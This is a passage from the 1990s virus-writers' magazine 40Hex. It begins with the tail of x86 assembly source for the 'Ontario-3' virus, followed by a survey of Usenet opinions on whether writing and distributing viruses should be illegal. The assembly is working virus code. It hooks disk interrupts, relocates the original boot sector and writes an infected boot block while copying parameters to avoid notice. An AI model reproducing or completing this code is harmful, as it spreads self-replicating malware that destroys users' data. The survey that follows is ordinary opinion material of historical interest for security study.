  3075.                 jne     int13exit               ; infect only 512 bytes per sector
  3076.                 cmp     byte ptr ds:[offset endvirus+0Dh],2
  3077.                 jne     int13exit               ; only 2 reserved sectors
  3078.                 cmp     word ptr ds:[offset endvirus+1Ah],2
  3079.                 ja      int13exit               ; only 2 sec/track
  3080.                 xor     dx,dx   ; calculate new location of boot block
  3081.                 mov     ax,word ptr ds:[offset endvirus+13h] ; total sec
  3082.                 mov     bx,word ptr ds:[offset endvirus+1Ah] ; sec/track
  3083.                 mov     cx,bx
  3084.                 div     bx                      ; # track
  3085.                 xor     dx,dx
  3086.                 mov     bx,word ptr ds:[offset endvirus+18h] ; sec/FAT
  3087.                 div     bx
  3088.                 sub     word ptr ds:[offset endvirus+13h],cx ; total sec
  3089.                 dec     ax
  3090.                 mov     byte ptr sectortrack+1,al
  3091.                 mov     ax,word ptr ds:[offset endvirus+18h] ; sec/FAT
  3092.                 mov     byte ptr sectortrack,al
  3093.                 mov     ax,word ptr ds:[offset endvirus+1Ah] ; sec/track
  3094.                 dec     ax
  3095.                 mov     byte ptr drivehead+1,al
  3096.                 mov     byte ptr drivehead,0
  3097.                 mov     dx,drivehead            ; move original boot block
  3098.                 mov     cx,sectortrack          ; to end of disk
  3099.                 mov     bx,offset endvirus
  3100.                 mov     ax,301h
  3101.                 call    callint13
  3102.                 jc      go_exitint13
  3103.                 mov     si,offset endvirus+3    ; copy parameters so
  3104.                 mov     di,offset bootparms     ; no one notices boot
  3105.                 mov     cx,bootsectorentry - bootparms ; block is changed
  3106.                 rep     movsb
  3107.                 xor     cx,cx
  3108.                 mov     dx,cx
  3109.                 inc     cx
  3110.                 mov     bx,offset bootsector    ; copy virus boot block
  3111.                 mov     ax,301h
  3112.                 call    callint13
  3113. go_exitint13:
  3114.                 jmp     exitint13
  3115.  
  3116. callint21:
  3117.                 pushf
  3118.                 call    dword ptr cs:oldint21
  3119.                 retn
  3120.  
  3121. callint13:
  3122.                 pushf
  3123.                 call    dword ptr cs:oldint13
  3124.                 retn
  3125.  
  3126. oldint13        dd      0
  3127. drivehead       dw      100h
  3128. sectortrack     dw      2709h
  3129. YAM             db      '*YAM*',1Ah
  3130.                 db      'Your PC has a bootache! - Get some medicine!',1Ah
  3131.                 db      'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah
  3132. save4:
  3133. origCSIP        db      0CDh, 020h, 0, 0
  3134. origSSSP        dd      0
  3135.  
  3136. endvirus:
  3137.  
  3138. viruslength     =       $ - decrypt
  3139.  
  3140. infCOMMAND      db      ?
  3141. infectSYS       db      ?
  3142. readbuffer      db      01Ch dup (?)
  3143. encryptbuffer   db      viruslength dup (?)
  3144.  
  3145.                 end     decrypt
  3146. -------------------------------------------------------------------------------
  3147.                                                                              DA
  3148. 40Hex Issue 10 Volume 3 Number 1                                      File 009
  3149.  
  3150.                             40-hex Survey:
  3151.                   Should Writing a Virus Be Outlawed?
  3152.  
  3153.                               by DecimatoR
  3154.  
  3155.  
  3156.    Recently, while conversing with Garbageheap, I was inspired with the
  3157. idea for this article.  So, with the help of a lot of people in the UseNet
  3158. alt.security and comp.virus newsgroups, I have determined what seems to be
  3159. the answer to my question.  My thanks to all who responded - couldn't have
  3160. done it without ya!
  3161.  
  3162.    I posted this message in alt.security and comp.virus:
  3163.  
  3164. "Greetings....
  3165.  
  3166.   Some of you may read the infamous 40-Hex Virus magazine, published 
  3167.   by us. If so, we'd like your opinions for a survery we're doing.  
  3168.   The results of this survey will be published in 40-hex #10.
  3169.  
  3170.   Here are the survey questions.  Please answer them, and respond via 
  3171.   email to me.  You may respond with simple Yes or No answers, or you 
  3172.   may be as wordy as you want.  Please note - ANY response given might 
  3173.   be published in 40-hex magazine.  Now, the questions:
  3174.  
  3175.   1) Should it be Federally illegal to write a computer virus?
  3176.  
  3177.   2) Should it be Federally illegal to distribute computer viruses, 
  3178.      to KNOWING individuals (ie on "virus" boards)? (This does NOT 
  3179.      mean infecting another person with a virus - it means giving 
  3180.      them a copy of a virus, and making sure they KNOW it is a virus)
  3181.  
  3182.   3) If executable virus code is illegal, then should the SOURCE code 
  3183.      to the viruses be illegal to copy, sell, or other wise distribute?
  3184.  
  3185.   Please mail me with YOUR opinions to the above, and feel free to 
  3186.   explain your views, or present other opinions you may have.  We are 
  3187.   attempting to get a general idea as to the thoughts of people, 
  3188.   therefore we are posting this to COMP.VIRUS, and ALT.SECURITY, and 
  3189.   any other appropriate newsgroups.
  3190.  
  3191.   Please note - we are NOT interested in the legallity of SPREADING 
  3192.   virus code by infection - that IS already illegal.  We are also not 
  3193.   interested in the ethic issues of viruses.  We want your opinions as 
  3194.   to what should be OUTLAWED, and what should be LEGAL.  Of course, any 
  3195.   other opinions you may wish to add are welcome.  
  3196.  
  3197.                      Thanks for your time and consideration..
  3198.  
  3199.                              --DecimatoR
  3200.                                Phalcon/Skism
  3201.                                40-Hex Magazine Columnist"
  3202.  
  3203.  
  3204.  
  3205. Amazingly, almost all of the responses stated that NO, it _SHOULD_NOT_ be
  3206. illegal to write, or distribute (to knowing persons) a computer virus.  Many
  3207. respondees regarded that as censorship, and wanted nothing of the sort. 
  3208. However, there were a few replies which, while not condoning the outlawing of
  3209. virus creation, also certainly did not condone the authoring or distributing
  3210. of viruses.  There was one man, from England, though, who firmly stated that
  3211. there should be international laws banning the creation of, distribution of,
  3212. and sharing of virus source code.  The fact that only one person responded in
  3213. this manner surprised me.  I expected more.
  3214.  
  3215. Here are a few quotes from the responses I got.  There are no names or 
  3216. addresses attatched in most cases.  I posted my original survey question
  3217. through an anonymous mailer,  since I wasn't too sure of the response I'd get,
  3218. and in turn, the responses were also anonymous.
  3219.  
  3220.  
  3221. ******************************************************************************* 
  3222.      1) Should it be Federally illegal to write a computer virus?
  3223. *******************************************************************************
  3224.  
  3225. From David:
  3226.  
  3227. "Not at all.  The government is already quite behind the times
  3228.  when it comes to legislating technical issues.  I don't believe
  3229.  they are qualified to enact competent legislation.   We're talking
  3230.  about a government who thought Steve Jackson Games should be raided
  3231.  for compiling a cyberpunk roleplaying supplement...
  3232.  
  3233.  Leaving aside the question of their technical knowledge, it smacks of
  3234.  censorship.  The inception of a computer program is roughly analogous
  3235.  to the writing of a book.  Put this way, your question could be
  3236.  phrased like:
  3237.  
  3238.         "Should it be Federally illegal to write a [pornographic,
  3239.          anarchistic, insert-favorite-word-here] book?"
  3240.  
  3241.  We know that the writing of a book is protected by the US constitution
  3242.  as a form of expression.  The writing of a computer program is a similar
  3243.  form of expression, and should thus be inviolate..."
  3244.  
  3245.                           --------------------------
  3246.  
  3247. From: an11445@anon.penet.fi: 
  3248.  
  3249. NO!    however, if people do not exhibit ethical behaviour regarding
  3250.        viruses, they are forcing such a law to be made. if someone wants
  3251.        the right to write what they want on their own computer, they
  3252.        would be well advised to not release to any other person this
  3253.        program unless they are -absolutely certain- that person will :
  3254.  
  3255.        a. not use the program for any damaging purpose
  3256.        b. not use the program to play tricks on people
  3257.        c. not allow the program to leave his/her hands without
  3258.           ensuring the above conditions are met.
  3259.  
  3260.                          --------------------------
  3261.  
  3262. From: an10445@anon.penet.fi (Cutthroat):
  3263.  
  3264. No.
  3265. A virus is simply a section of code that travels with another section of code.
  3266. Viruses are not inherently malicious.
  3267.  
  3268.                          --------------------------
  3269.  
  3270. From: an2284@anon.penet.fi
  3271.  
  3272. >  1) Should it be Federally illegal to write a computer virus?
  3273.  
  3274. No.  It's just code.  The minute you start outlawing one kind of program,
  3275. you've introduced censorship.
  3276.  
  3277.                          --------------------------  
  3278.  
  3279. From: an11290@anon.penet.fi: (Roger)
  3280.  
  3281. >  1) Should it be Federally illegal to write a computer virus?
  3282.  
  3283. Hard one. The problem is that I'd like it to be legal: people should
  3284. be free to experiment with this kind of stuff providing they keep it
  3285. safe in their own environment. However when parallels are
  3286. sought with current law, we are forced to another conclusion:
  3287. selling a gun is potentially harmless untill the gun is used. It's
  3288. partly the responsibility of the SELLER to keep guns from spreading
  3289. to unqualified people.
  3290.  
  3291. Now the question rises: can a computer Virus be compared to a GUN.
  3292. I think it can: both are harmless until employed in a dangerous
  3293. fashion.
  3294.  
  3295. In short computer viruses provide a threat to our society. Current
  3296. law prohibits possession of objects that pose a threat to society.
  3297. (Partly because this makes it easier to prosecute people that most
  3298. likely want to employ these objects in a bad way).
  3299.  
  3300.  
  3301.                          --------------------------  
  3302.  
  3303. From: Josh@lehigh
  3304.  
  3305.    Absolutely not.  It's a crummy, unethical, lousy, rotten, thing to do,
  3306.    but making it illegal to write *any* type of a computer program is
  3307.    reminiscent of George Orwell's "1984" and Big Brother.  There is also
  3308.    too much speculation as to what a clear-cut, 100% absolute definition
  3309.    of a computer virus is.  If it's just something that remains in memory
  3310.    and does something the user is not fully aware of, you're eliminating
  3311.    a significant number of useful programs such as disk caches and even
  3312.    virus scanners--how many people are fully aware of the mechanical
  3313.    workings of a virus scanner or a disk cache?  Other definitions can
  3314.    be twisted in similar manners, making just about everything a "virus"
  3315.    in some aspect.
  3316.  
  3317.  
  3318.                          --------------------------  
  3319.  
  3320. From Oliver in the UK:
  3321.  
  3322. I believe that it should not only be Federally illegal, but Internationally
  3323. illegal to write a computer virus. However, one should look at the
  3324. difficulty of enforcing such a law. From what point onwards does
  3325. a program qualify as a virus; those questions, looking at the heated
  3326. regular debate on virus-l, are far from being answered categorically.
  3327. The bottom line, IMHO, is that enforcement of a federal law against
  3328. computer viruses writing is very hard. Moreover, most academic and
  3329. company sites forbid their users in using computing facilities for
  3330. writing viruses anyway, and it should be up to them to make sure
  3331. locally that no viruses are written on their facilities.
  3332.  
  3333.                          --------------------------  
  3334.  
  3335. From Jay:
  3336.  
  3337. Of course not, this is a first amendment right in the USA.  Writing a
  3338. virus is no different than writing any other computer program.  Many
  3339. "normal" computer programs share common coding methods with viruses.
  3340. Who is to say that you intend malice by writing a small chunk of
  3341. software?  Are we supposed to sit down and have code reviews with
  3342. federal agents in random spot checks to make sure we aren't writing
  3343. malicious code?  That's silly.
  3344.  
  3345.  
  3346.                          --------------------------  
  3347.  
  3348. From Ed:
  3349.  
  3350.     No. This is not the correct way to deal with the virus problem.
  3351.   Any form of restriction placed upon what someone does with their own
  3352.   computer would be unconstitutional, as it removes our personal rights.
  3353.   It has been said that the more numerous the laws, the more corrupt the
  3354.   state. As the law stands, you can do what you want out *your* computer,
  3355.   but as soon as you infect *mine* it becomes illegal, and that is the
  3356.   way it must remain, or else the rights of everyone will be damaged.
  3357.  
  3358.  
  3359. *******************************************************************************
  3360.      2) Should it be Federally illegal to distribute computer viruses,
  3361.         to KNOWING individuals (ie on "virus" boards)? (This does NOT
  3362.         mean infecting another person with a virus - it means giving
  3363.         them a copy of a virus, and making sure they KNOW it is a virus)
  3364. *******************************************************************************
  3365.  
  3366. David:
  3367.  
  3368. "Again, no.  The distribution of information should be constitutionally
  3369.  protected.  There are legitimate reasons why someone may want or need
  3370.  the source or executable form of a virus.  The most obvious is in the
  3371.  field of virus research.  It is necessary to obtain the virus in question
  3372.  in order to devise a vaccine for it.  Security through obscurity
  3373.  has been tried before; it's great until some "unauthorized" person
  3374.  gets hold of some information others are hiding.  He's free to use
  3375.  it to great success because the legitimate users don't know exactly
  3376.  what he's got, making it hard to devise a defense.
  3377.  
  3378. A good example of this type of argument might be:
  3379.         Criminals have guns.  It should be illegal to have
  3380.         a gun.  In fact, let's keep the "knowing individuals"
  3381.         (ie. the police) from having them too... "
  3382.  
  3383.                            ___________________________
  3384.  
  3385. From: an11445@anon.penet.fi:  
  3386.  
  3387. just because you make sure they KNOW it's a virus does not mean they
  3388. will not do some destructive thing with it, perhaps even unintentionally.
  3389. in my paper, 'circular time line model for addressing the impact of virus
  3390. exchange bbs', i support the conclusion that it will not especially help
  3391. to do this, and that it may not be even the most efficient way to deal
  3392. with the problem of computer viruses.
  3393.  
  3394. if people will not do the things that are right, however, they force
  3395. people to do the things that are wrong, in this case.
  3396.  
  3397.                            ---------------------------
  3398.  
  3399. From: an10445@anon.penet.fi (Cutthroat):
  3400.  
  3401. No.
  3402. A weak system can be hit by a virus.  A strong system is less likely to
  3403.  be hit by a virus.
  3404. Make computers more secure.  Viruses will always exist.
  3405.  
  3406.                            ---------------------------  
  3407.  
  3408. From: an2284@anon.penet.fi
  3409.  
  3410. >  2) Should it be Federally illegal to distribute computer viruses,
  3411. >     to KNOWING individuals (ie on "virus" boards)? (This does NOT
  3412. >     mean infecting another person with a virus - it means giving
  3413. >     them a copy of a virus, and making sure they KNOW it is a virus)
  3414.  
  3415. Nope.  It's just *executable* code this time.  :-)
  3416.  
  3417.                            ---------------------------  
  3418.  
  3419. From: an11290@anon.penet.fi: (Roger)
  3420.  
  3421. >  2) Should it be Federally illegal to distribute computer viruses,
  3422. >     to KNOWING individuals (ie on "virus" boards)? (This does NOT
  3423. >     mean infecting another person with a virus - it means giving
  3424. >     them a copy of a virus, and making sure they KNOW it is a virus)
  3425.  
  3426. Following the reasoning in the answer to the last question: yes. However
  3427. I think there is a difference between distributing the actual code and
  3428. only pseudo code. It's like telling someone the principle of an atom bomb,
  3429. or sending him a "do  it yourself kit". The last is certainly beyond the
  3430. limit, whereas the first isn't.
  3431.  
  3432.                            ---------------------------  
  3433.  
  3434. From Josh@lehigh:
  3435.  
  3436.    Doing so would absolutely cripple virus-fighting developments.  If a
  3437.    user cannot legally send a virus-infected program to the author of a
  3438.    virus scanner/cleaner, it becomes impossible for the utility to detect
  3439.    and/or remove that type of virus unless the author somehow becomes
  3440.    accidentally infected by it.
  3441.  
  3442.  
  3443.                            ---------------------------  
  3444.  
  3445. From Oliver in the UK:
  3446.  
  3447. >   2) Should it be Federally illegal to distribute computer viruses,
  3448. >      to KNOWING individuals (ie on "virus" boards)? (This does NOT
  3449. >      mean infecting another person with a virus - it means giving
  3450. >      them a copy of a virus, and making sure they KNOW it is a virus)
  3451.  
  3452. Yes. Virus boards, etc. are all nests for hackers-crackers & people
  3453. envolved in the "computer-underworld". Distribution of sources on
  3454. BBS to knowing individuals can only add to the spread of computer
  3455. viruses. In addition to that, so many people would then be able to
  3456. modify the original source code, that one would end-up with a
  3457. virtually unlimited number of variants of each virus - definitely
  3458. the horror scenario.
  3459.  
  3460.                            ---------------------------  
  3461.  
  3462. From Paul Ferguson:
  3463.  
  3464.    That depends. If it can be proven in a court of law that the
  3465.    provider of the computer virus knew before-hand that recipient
  3466.    would irresponsibly allow it to pass into the hands of someone
  3467.    who would a.) willingly transplant it into an unsuspecting public
  3468.    domain or b.) modify it and then release it into an unsuspecting
  3469.    public domain, then YES, I believe that is wrongful action that
  3470.    should be illegal. If the program (virus) is passed amongst two
  3471.    trusted individuals with little or no chance of it "escaping"
  3472.    into the public domain, then that is a matter of personal
  3473.    transaction which does not affect other computerists.
  3474.  
  3475.  
  3476.                            ---------------------------  
  3477.  
  3478. From Jay:
  3479.  
  3480. >   2) Should it be Federally illegal to distribute computer viruses,
  3481. >      to KNOWING individuals (ie on "virus" boards)? (This does NOT
  3482. >      mean infecting another person with a virus - it means giving
  3483. >      them a copy of a virus, and making sure they KNOW it is a virus)
  3484.  
  3485. Of course not, if you write a note on a piece of paper and share it with
  3486. a friend, is that a federal offense?  What if that note contains information
  3487. that could show your friend how to kill someone?  What if the note contains
  3488. a beautiful little poem that happens to describes how to kill someone?
  3489. Software is a vehicle for expressing an idea or concept, no different from
  3490. the written word.  If there is no malice, there is no crime.  It's not
  3491. illegal to infect someone with a virus if you don't know that you passed
  3492. it along, so why should it be illegal to give away a virus to someone
  3493. who can handle it?
  3494.  
  3495.  
  3496.                            ---------------------------  
  3497.  
  3498. From Ed:
  3499.  
  3500. > Should the distribution of viruses to knowing individuals be illegal?
  3501.  
  3502.     Again, no. One reason is that I doubt very many virus authors would
  3503.   heed such a law, and so only the anti-virus community would suffer,
  3504.   making conditions worse. Another reason is the First Ammendment of the
  3505.   Constitution of the United States, which guarantees freedom of speech
  3506.   to everyone. Distribution of viral code is a form of speech, as it is
  3507.   a transfer of data and information. If it weren't for virus transactions,
  3508.   no one virus scanner would be very complete, as each would only detect
  3509.   a handful of viruses, and one would have to obtain a copy of every scanner
  3510.   to have a complete detection system.
  3511.  
  3512.  
  3513.  
  3514. *******************************************************************************
  3515.      3) If executable virus code is illegal, then should the SOURCE code
  3516.         to the viruses be illegal to copy, sell, or other wise distribute?
  3517. *******************************************************************************
  3518.  
  3519. David: 
  3520. "I don't agree that either should be illegal, but outlawing the source
  3521.  would make it much more difficult to devise a defense.  It's an extension
  3522.  of the above argument..."
  3523.  
  3524.                           ---------------------------- 
  3525.  
  3526. From: an11445@anon.penet.fi:  
  3527.  
  3528.   >> 3) If executable virus code is illegal, then should the SOURCE code
  3529.   >>    to the viruses be illegal to copy, sell, or other wise distribute? 
  3530.  
  3531. If, then; else not. but should be not to begin with.
  3532.  
  3533.                           ----------------------------
  3534.  
  3535. From: an11184@anon.penet.fi
  3536.  
  3537. The answers arise from my views about individual freedom for every human.
  3538. Governments should interfere as little as possible in this.
  3539.  
  3540.                           --------------------------- 
  3541.  
  3542. From: an10445@anon.penet.fi (Cutthroat):
  3543.  
  3544. No.
  3545. A virus is less likely to be "accidently" released if it exists only
  3546.  as source code.
  3547. Viruses are much easier to study for "legitimate" security purposes
  3548.  if it is released as source code.
  3549.  
  3550.                           --------------------------- 
  3551.  
  3552. From Josh@lehigh:
  3553.  
  3554.    For similar reasons to 1) above, the thought is abhorrent.  Taking an
  3555.    extreme example, suppose I was to write a compiler.  The source code
  3556.    for this compiler consists of any text file, and its output is a file
  3557.    infector which randomly stamps the source code (text file) on someone's
  3558.    hard drive.  Therefore, your resume, your letters--in short, any text
  3559.    you have whatsoever--becomes source code for a virus.  Big brother
  3560.    returns--and with a vengeance.
  3561.  
  3562.                           --------------------------- 
  3563.  
  3564. From Oliver in the UK:
  3565.  
  3566. >   3) If executable virus code is illegal, then should the SOURCE code
  3567. >      to the viruses be illegal to copy, sell, or other wise distribute?
  3568.  
  3569. See the answer to 2. The SOURCE code is even more lethal than the
  3570. executable. The only way that such code would be transfered, should
  3571. be for research purposes. I am talking here about serious scientific
  3572. research. The more people that have access to source viral code, the
  3573. more likely it is for non-authorised people to have access to it.
  3574. In scientific research, a researcher has access to chemicals & data
  3575. which (s)he is often not entitled to take out of the lab. The same
  3576. should be for viral code.
  3577.  
  3578. The argument of making Viral Code available to the public "because this
  3579. is the only way to get to know about computer viruses" is hence a
  3580. stupid argument. The sole purpose of releasing viral source code to
  3581. the public is misleadingly "for informational purposes only" and can
  3582. alas only lead to further propagation of the virus itself, as well as
  3583. new variants.
  3584.  
  3585.                           --------------------------- 
  3586.  
  3587. From Paul Ferguson:
  3588.  
  3589.    Executable code of any kind should not ever (and will not, IMHO)
  3590.    be illegal. That is absurd. It is the use of said code that would
  3591.    constitute a violation of another's practice of safe computing. If
  3592.    this code (viruses) are released into the public domain, I consider
  3593.    it a practice of reckless computing. Hey, we have laws against
  3594.    reckless driving and reckless endangerment, why not reckless
  3595.    computing?
  3596.  
  3597.  
  3598.                           --------------------------- 
  3599.  
  3600. From Jay:
  3601.  
  3602. >   3) If executable virus code is illegal, then should the SOURCE code
  3603. >      to the viruses be illegal to copy, sell, or other wise distribute?
  3604.  
  3605. Executable code shouldn't be illegal.  Is it illegal to translate a book
  3606. from English to Spanish?  Can you translate a book from English to Spanish
  3607. without knowing either language?  You CAN convert source code to executable
  3608. code without knowing the source language, or assembly/machine code.
  3609.  
  3610. Let's assume that I was to give a computer illiterate friend, a floppy
  3611. containing source code to computer mortgage payments, a public domain
  3612. compiler, and instructions for compiling the application, "type MAKE".
  3613. Lets also assume that I received the source code from someone else, and
  3614. the code contained a virus hidden in the source (in source code form) that
  3615. I was unaware of.  If the friend follows the instructions, and compiles
  3616. the virus did he break the law?  He thought he was just getting a program
  3617. to calculate mortgage payments.  Am I guilty of a crime?  I just gave a
  3618. friend some innocent source code.  This is ludicrous.
  3619.  
  3620. If source code for a virus causes no problems for either the giver or
  3621. receiver, why should it be banned?  If I write a book that contains a
  3622. series of instructions that detail a plan to overthrow the US goverment,
  3623. is that a crime?  If I sell the book, is that criminal?  Tom Clancy does
  3624. it...he sells millions.  If I write a book that details instructions
  3625. for overthrowing MSDOS, is that crime?  What if I choose distribute it
  3626. electronically?
  3627.  
  3628. This is all stupid, prohibiting information doesn't work.
  3629.  
  3630. The bottom line is that if an act was done with malice, there may
  3631. be a crime, if the act was done without malice, there is no crime.
  3632.  
  3633.  
  3634.                           --------------------------- 
  3635.  
  3636. From Ed:
  3637.  
  3638. > If executable virus transfer is made illegal, should source code be
  3639. > restricted as well?
  3640.  
  3641.     I would prefer that neither are made illegal, but if this situation were
  3642.   to arise, I would have to say no. Source code qualifies for the First
  3643.   Ammendment more so than viral samples. Now, I'm not saying it's justified
  3644.   to go and give source code to anyone who asks for it, after all why do you
  3645.   think there are so many variants of Vienna and Pixel? But legal action used
  3646.   to restrict the actual transactions of viral material is not a valid course
  3647.   of action, practically or ethically.
  3648.   
  3649.   I can not condone distribution of viral samples to anyone who asks for it
  3650. (especially "Nuke-EM!!" types), however I've found that many anti-viral
  3651. researchers simply can't obtain the samples they need because they aren't in
  3652. the "inner circle" of trusted anti-virus vendors. It's a very difficult
  3653. issue to deal with, as to how to deal with virus distribution, such as
  3654. who should be allowed to procure the viruses they need, and who shouldn't.
  3655. It's an ethical and moral delemma, but one this is for sure, it should not
  3656. be illegal!
  3657.  
  3658.  
  3659. ***************************************************************************** 
  3660.    Please mail me with YOUR opinions to the above, and feel free to
  3661.    explain your views, or present other opinions you may have. 
  3662. ***************************************************************************** 
  3663.  
  3664. From: an11445@anon.penet.fi:   
  3665.  
  3666. There are already enough laws in existance. we do not need more laws.
  3667. we need people who know how to interpret the existing laws in light of
  3668. the societal and technological changes in our society.
  3669.  
  3670.                           --------------------------- 
  3671.  
  3672. From Marc:
  3673.  
  3674.         There is no statement of illegality in this domain that
  3675.         wouldn't lead inexorably to the licensing of anti-virus
  3676.         software developers and the stifling of most forms of
  3677.         independent research into system security. You would end up
  3678.         with the same kind of idiocy that makes it impossible to use
  3679.         certain drugs as medicines or even to do research with them.
  3680.         You would also end up having to give the police extraordinary
  3681.         powers to enable enforcement, as in all cases of victimless
  3682.         crime.
  3683.  
  3684.                           --------------------------- 
  3685.  
  3686. ----------------------------------------------------------------------------
  3687. Note From DecimatoR:  The following conversation was between myself and
  3688. Oliver, the one person who stated that everything dealing with the creation
  3689. of viruses should be internationally controlled.  Since his opinions differed
  3690. so strongly from mine, and most of those I recieved, I chose to include our
  3691. conversation here, unedited.  I appreciate the time he took in corresponding
  3692. with me.  Thanks, guy.
  3693. ----------------------------------------------------------------------------
  3694.  
  3695. (The quoted text is from me, the others from him.  Like you couldn't tell)
  3696.  
  3697. From Oliver:
  3698.  
  3699. Hello,
  3700.     I got your 2 emails regarding the fact that I was the only
  3701. person to favour a full clampdown on viruses etc.
  3702. Let me answer the direct questions in your 2 emails:
  3703.  
  3704. >Your response so far has been the only one which out-and-out said that YES,
  3705. >viruses, source code for them, etc should be internationally illegal.  I
  3706. >actually thought there would be more opinions like yours, however this seems
  3707. >not to be the case.  So, if you don't mind, I'd like a little more insight
  3708. >into your ideas.  I noticed you were from London, where there have recently
  3709. >been arrests of people who write and sell viruses.  I assume you agree that
  3710. >the government has the right to make such an arrest.  My question to you:
  3711.  
  3712. Yes, I agree with the government regarding those arrests.
  3713.  
  3714. >where do you draw the line regarding censorship?  Many respondents claimed
  3715. >that banning the writing of viruses would be censorship, to an extreme they
  3716. >are NOT willing to tolerate.  You think differently.  So, where do you think
  3717. >the line should be drawn?  With viruses?  Maybe "trojanized" code?  Or code
  3718. >that will disable itself after x number of runs?
  3719.  
  3720. This is a very difficult line to draw. I think that the first selection that
  3721. one must make is whether the code is to destroy data, or will simply
  3722. replicate (like a worm). The easiest piece of code to look at is trojanized
  3723. code. Its sole purpose is usually to destroy data.  I qualify purpose-
  3724. made trojanized code as malicious vandalism. In addition to that,
  3725. "trojanization" of a commercial or public domain program itself already
  3726. breaks the law due to copyright infringements and/or license breaches.
  3727. Viruses are, also by definition, data destructors. Anyone writing a virus
  3728. and planning to distribute it should hence also be breaking the law.
  3729. Worms are supposed not to destroy data; however let us consider the fact
  3730. that a worm spreads on computer systems and a bug in the worm's code
  3731. corrupts user data. What I am trying to get to is the fact that worms
  3732. spread in people's machines without their approval, and I find this to
  3733. be morally wrong. Compare this with, say, skeleton keys of apartments
  3734. in a town. Would you support the idea of making skeleton keys, exchanging
  3735. them on "skeleton-key-BBS" legal ? It would mean that it's legal for anyone
  3736. to have skeleton keys and use them to "visit" apartments at will.
  3737. So here, we are reaching  the fact that a computer's HD has now grown
  3738. to be part of someone's house, someone's belongings, someone's living
  3739. space, and that any breach of privacy is unwelcome. Since worms breach
  3740. that privacy, then wouldn't it be a protection for the public to
  3741. outlaw those worms ? So I support the fact of making all code that
  3742. self-replicates from system to system illegal.
  3743.  
  3744.  
  3745. >Doesn't the intervention of the government in such areas bother you?  If
  3746. >not, why not?  Obviously your opinions are quite different than mine. 
  3747.  
  3748. No. The government has many duties towards the people of a country, and
  3749. one of them is protection of the people themselves. Remember, I am
  3750. not asking for the government to censor ideas, I am asking for it to
  3751. stop propagation of malicious items; people often refer to this as
  3752. censorship since we're talking about intellectual data, but this is
  3753. a big mistake. I believe that freedom will be more easily enforceable
  3754. if simple basic laws of morals can be enforced.
  3755. Consider gun laws:
  3756. - in UK, gun laws are very tough indeed. No individual is allowed to
  3757. carry a gun without special permits, and those are extremely hard to
  3758. obtain. Individuals allowed to carry a gun are usually under threat
  3759. from terrorism, etc. Those are very isolated cases. As a result, the
  3760. British police is mostly still unarmed. The number of gun-related
  3761. offenses is very low indeed, and any injury is usually caused by knives.
  3762. As a result, repression from the British police needs not be so strong.
  3763. - in USA, in some states, gun laws are very relaxed. Gun-related offenses
  3764. are high, and the US police needs to carry guns as well. The amount of
  3765. repression used by the police has to be much higher than elsewhere.
  3766. I was shocked to hear that police in USA had their gun out when stopping
  3767. a car for speeding. How "friendly" does that make them ?
  3768. Pro-gun individuals would immediately shout that any clamping-down on
  3769. guns is a breach of their freedom, etc. etc. And they even have an
  3770. advantage over pro-virus-enthusiasts that they can argue that the gun
  3771. is for their safety, while I can't think of a positive use for a virus.
  3772.  
  3773. >is a good thing, because I am looking for differing points of view.  I
  3774. >consider England to be far too strict in censorship, and government control.
  3775. >It would really bother me to have to put up with that kind of control over
  3776. >my life.  Yet you seem to agree with it.  
  3777.  
  3778. Agreed, there are a few things which the UK government censors that I
  3779. don't agree with. But take, for example, the freedom of the press:
  3780. - Should newspapers have the right to write *anything* about *anyone* ?
  3781. Freedom of speech in this case is only possible if newspaper editors
  3782. are reasonable about what they write. But what often happens is that
  3783. editors praise their "freedom of speech" and allow defammatory articles,
  3784. made-up of lies, etc., thus hurting individuals to such an extent that
  3785. those individuals may have their life affected by that so-called "freedom-
  3786. of-speech" forever.
  3787. Full open democracy, full freedom of speech, full openness only works when
  3788. everybody is nice and kind, and no-one is malicious etc. But this unfortu-
  3789. nately isn't the case in real life. Censorship has to be applied in areas
  3790. which could hurt more people than help them.
  3791.  
  3792.  
  3793. >like your answers to a few more in-depth questions.  First of all, many who
  3794. >responded said that banning viruses would be a form of censorship, one which
  3795. >they would not be willing to tolerate.  How would you reply to this?
  3796.  
  3797. Censorship applies both to intellectual ideas, as well as material ideas.
  3798. The only thing that people make mistakes about is believing that censorship
  3799. of intellectual ideas is bad, and censorship of things (something which
  3800. may be dangerous to them - say a chemical) is okay. The big mistake made
  3801. is to think that intellectual ideas may not hurt them. Computer viruses
  3802. are thought of as intellectual ideas, and thus people usually adopt a
  3803. soft policy towards them by thinking that it cannot hurt them.
  3804.  
  3805. >ALso, I believe you are from England, what do you think of the recent raids
  3806. >on virus writers, and the man who was selling virueses in your country?
  3807. >Good?  Bad?
  3808.  
  3809. I completely agree with the government on those matters. What good to society
  3810. are virus writers ? Their sole purpose was to spread their viruses
  3811. worldwide. Their initial statement (which I didn't keep a copy of,
  3812. unfortunately, thinking it was a joke) was so childishly written, I
  3813. could not believe it, but let's not divert to talk about the personality
  3814. of some virus writers. The fact is clear: Viruses can do more harm than
  3815. a lot of other things in life. Have you ever witnessed someone who has
  3816. made no backup of his work, and has had much of his work destroyed by
  3817. a virus ? We aren't talking here about a corrupted copy of Windows 3.1
  3818. that can be re-installed in 30 minutes but about 1 week's original
  3819. work from somebody. I personally haven't been hit, but I have seen people
  3820. in the labs here, and believe me, it's time we stop treating virus-writers
  3821. as "joyful hackers" that do this for fun.
  3822.  
  3823. >And lastly, a question: do you write computer programs?  If so, then doesn't
  3824. >it bother you knowing that you are _not_allowed_ to write a certain KIND of
  3825. >program, simply because the government considers it "bad"? 
  3826.  
  3827. I write computer programs daily, in the course of my research (which is
  3828. unrelated to viruses). I use my programming skills to develop systems
  3829. not only for my benefit but also for the benefit of mankind, through
  3830. better future telecommunication systems. My competence in programming
  3831. is high enough to write viruses, trojans, etc. but I am not attracted to
  3832. it whatsoever. If those programming geniuses (aka virus writers), devoted
  3833. their programming time to other activities than virus writing, than
  3834. perhaps they would be able to make something out of their life, instead
  3835. or ruining other people's.
  3836. But let's imagine that I was interested in writing a virus. Who would know ?
  3837. If I wrote a virus on my PC at home, and not release it, not publicize it,
  3838. not mention it to anyone, who would know ? If then I made a mistake,
  3839. and transfered it (against my will) to my computer at work, and infected
  3840. computers all around the place, then whose fault would it be ? Mine.
  3841. I would then have to be ready to face the consequences.
  3842.  
  3843. >think censorship and banning of code should go?  And, for those who violate
  3844. >the bans, what punishment do you believe is suitable?
  3845.  
  3846. Banning of the code, IMHO, should be as far as public posting of the
  3847. source on BBS, distribution by any means, infection of any computer.
